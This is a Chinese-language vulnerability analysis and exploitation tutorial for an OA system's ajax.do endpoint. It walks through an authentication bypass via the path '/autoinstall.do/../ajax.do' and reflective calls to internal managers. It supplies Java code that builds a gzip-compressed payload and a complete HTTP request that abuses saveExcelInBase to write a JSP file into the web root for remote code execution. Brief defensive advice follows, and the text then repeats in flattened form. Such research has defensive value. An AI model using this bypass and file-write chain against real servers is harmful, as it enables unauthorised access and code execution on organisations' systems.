某OA ajax.do处漏洞分析
字数 1649 2025-08-20 18:18:16

OA系统ajax.do漏洞分析与利用教学文档

漏洞概述

本漏洞存在于某OA系统的ajax.do接口,该接口允许调用系统内部其他类的方法。通过特定的URL构造可以绕过权限验证,进而实现未授权访问和远程代码执行。

漏洞分析

1. 权限绕过机制

1.1 安全过滤流程

  1. 所有.do结尾的请求都会经过SecurityFilterCTPSecurityFilter的校验
  2. isSpringController方法校验规则:
    • .do结尾的URL返回true
    • 包含.do;jsessionid的URL返回true

1.2 认证绕过原理

  1. SpringControllerAuthenticator#authenticate方法流程:

    • 检查是否登录
    • 未登录时调用isNeedlessCheckLogin方法
    • 对于/ajax.do请求,accessUrl被设置为managerName参数值(默认为null)
    • 检查accessUrl是否在needlessUrlMap
    • accessUrl为null时会抛出异常
  2. 绕过技巧:

    • 利用Spring的alwaysUseFullPath=false特性
    • getPathWithinServletMapping会对URI进行标准化处理(解码、处理跨目录等)
    • 构造如/main.do/../ajax.do的路径可以绕过验证

1.3 最终绕过方案

发现autoinstall.doneedlessUrlMap中且包含*通配符,因此可以使用:

/autoinstall.do/../ajax.do?method=ajaxAction&managerName=constDefManager&managerMethod=listPage

2. ajax.do调用机制

2.1 调用流程

  1. /ajax.do对应com.seeyon.ctp.common.service.AjaxController
  2. 主要逻辑在ajaxAction方法中:
    • 调用invokeService方法处理请求
    • 如果传入ClientRequestPath参数且不在黑名单中,会调用ZipUtil.compressResponse解压缩

2.2 invokeService方法分析

  1. 获取参数:

    • serviceName:要调用的服务名
    • methodName:方法名
    • strArgs:参数
    • compressType:压缩类型
  2. 根据compressType调用ZipUtil.uncompressRequest处理strArgs

    • gzip类型会进行gzip解压缩
    • 其他类型返回原始数据
  3. 通过getService方法获取服务对象:

    • beanCacheMap中获取缓存的对象
    • 检查对象是否继承DataSourceSessionSessionFactory
  4. 调用invokeMethod方法反射执行目标方法

2.3 方法查找与调用

  1. judgeCandidate方法:

    • 反射获取服务对象的所有方法
    • 匹配方法名和参数个数
    • 将匹配的方法加入列表返回
  2. findMethodAndArgs方法:

    • 从候选方法中找到具体要调用的方法
    • 返回Method对象和参数
  3. 反射调用目标方法

漏洞利用

1. 利用fileToExcelManager实现RCE

fileToExcelManagersaveExcelInBase方法存在文件上传漏洞,可导致远程代码执行。

1.1 漏洞点分析

  1. saveExcelInBase方法接受3个参数:

    • 文件路径
    • 文件名
    • 文件内容
  2. 写入文件时会在内容前后添加双引号,直接插入shell代码会被破坏

1.2 绕过技巧

利用换行符和双引号闭合前后的双引号:

"\"\r\n" + "<% out.println(\"ttttttttt\ + "\"\r\n"

1.3 利用代码示例

import com.seeyon.ctp.common.excel.DataRecord;
import com.seeyon.ctp.common.log.CtpLogFactory;
import com.seeyon.ctp.util.ZipUtil;
import com.seeyon.ctp.util.json.JSONUtil;
import org.apache.commons.logging.Log;
import java.net.URLEncoder;
import java.util.ArrayList;

public class fileToExcelManagerPayload {
    private static final Log LOGGER = CtpLogFactory.getLog(fileToExcelManagerPayload.class);
    
    public static void main(String[] args) {
        DataRecord d = new DataRecord();
        String[] c = {
            "\"\r\n" +
            "<% out.println(\"ttttttttt\"" +
            "\"\r\n"
        };
        d.setColumnName(c);
        
        String dd = JSONUtil.toJSONString(d);
        final ArrayList<Object> list = new ArrayList<>();
        list.add("../webapps/ROOT/x.jsp");
        list.add("\"\"");
        list.add(d);
        
        final String list1 = JSONUtil.toJSONString(list);
        String strArgs = ZipUtil.compressResponse(list1, "gzip", "UTF-8", LOGGER);
        System.out.println(URLEncoder.encode(strArgs));
        System.out.println("end");
    }
}

1.4 利用请求示例

POST /seeyon/autoinstall.do/../ajax.do?method=ajaxAction&managerName=fileToExcelManager HTTP/1.1
Host: target
Accept: */*
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 6357

managerMethod=saveExcelInBase&managerName=fileToExcelManager&method=ajaxAction&requestCompress=gzip&arguments=<压缩后的参数>

防御建议

  1. 升级到最新版本,修复权限绕过漏洞
  2. ajax.do接口增加严格的权限控制
  3. 对文件上传操作进行严格的路径和内容检查
  4. 设置alwaysUseFullPath=true避免路径标准化导致的绕过
  5. 对反射调用方法进行白名单限制
OA系统ajax.do漏洞分析与利用教学文档 漏洞概述 本漏洞存在于某OA系统的 ajax.do 接口,该接口允许调用系统内部其他类的方法。通过特定的URL构造可以绕过权限验证,进而实现未授权访问和远程代码执行。 漏洞分析 1. 权限绕过机制 1.1 安全过滤流程 所有 .do 结尾的请求都会经过 SecurityFilter 和 CTPSecurityFilter 的校验 isSpringController 方法校验规则: 以 .do 结尾的URL返回true 包含 .do;jsessionid 的URL返回true 1.2 认证绕过原理 SpringControllerAuthenticator#authenticate 方法流程: 检查是否登录 未登录时调用 isNeedlessCheckLogin 方法 对于 /ajax.do 请求, accessUrl 被设置为 managerName 参数值(默认为null) 检查 accessUrl 是否在 needlessUrlMap 中 当 accessUrl 为null时会抛出异常 绕过技巧: 利用Spring的 alwaysUseFullPath=false 特性 getPathWithinServletMapping 会对URI进行标准化处理(解码、处理跨目录等) 构造如 /main.do/../ajax.do 的路径可以绕过验证 1.3 最终绕过方案 发现 autoinstall.do 在 needlessUrlMap 中且包含 * 通配符,因此可以使用: 2. ajax.do调用机制 2.1 调用流程 /ajax.do 对应 com.seeyon.ctp.common.service.AjaxController 类 主要逻辑在 ajaxAction 方法中: 调用 invokeService 方法处理请求 如果传入 ClientRequestPath 参数且不在黑名单中,会调用 ZipUtil.compressResponse 解压缩 2.2 invokeService方法分析 获取参数: serviceName :要调用的服务名 methodName :方法名 strArgs :参数 compressType :压缩类型 根据 compressType 调用 ZipUtil.uncompressRequest 处理 strArgs : gzip 类型会进行gzip解压缩 其他类型返回原始数据 通过 getService 方法获取服务对象: 从 beanCacheMap 中获取缓存的对象 检查对象是否继承 DataSource 、 Session 或 SessionFactory 类 调用 invokeMethod 方法反射执行目标方法 2.3 方法查找与调用 judgeCandidate 方法: 反射获取服务对象的所有方法 匹配方法名和参数个数 将匹配的方法加入列表返回 findMethodAndArgs 方法: 从候选方法中找到具体要调用的方法 返回 Method 对象和参数 反射调用目标方法 漏洞利用 1. 利用fileToExcelManager实现RCE fileToExcelManager 的 saveExcelInBase 方法存在文件上传漏洞,可导致远程代码执行。 1.1 漏洞点分析 saveExcelInBase 方法接受3个参数: 文件路径 文件名 文件内容 写入文件时会在内容前后添加双引号,直接插入shell代码会被破坏 1.2 绕过技巧 利用换行符和双引号闭合前后的双引号: 1.3 利用代码示例 1.4 利用请求示例 防御建议 升级到最新版本,修复权限绕过漏洞 对 ajax.do 接口增加严格的权限控制 对文件上传操作进行严格的路径和内容检查 设置 alwaysUseFullPath=true 避免路径标准化导致的绕过 对反射调用方法进行白名单限制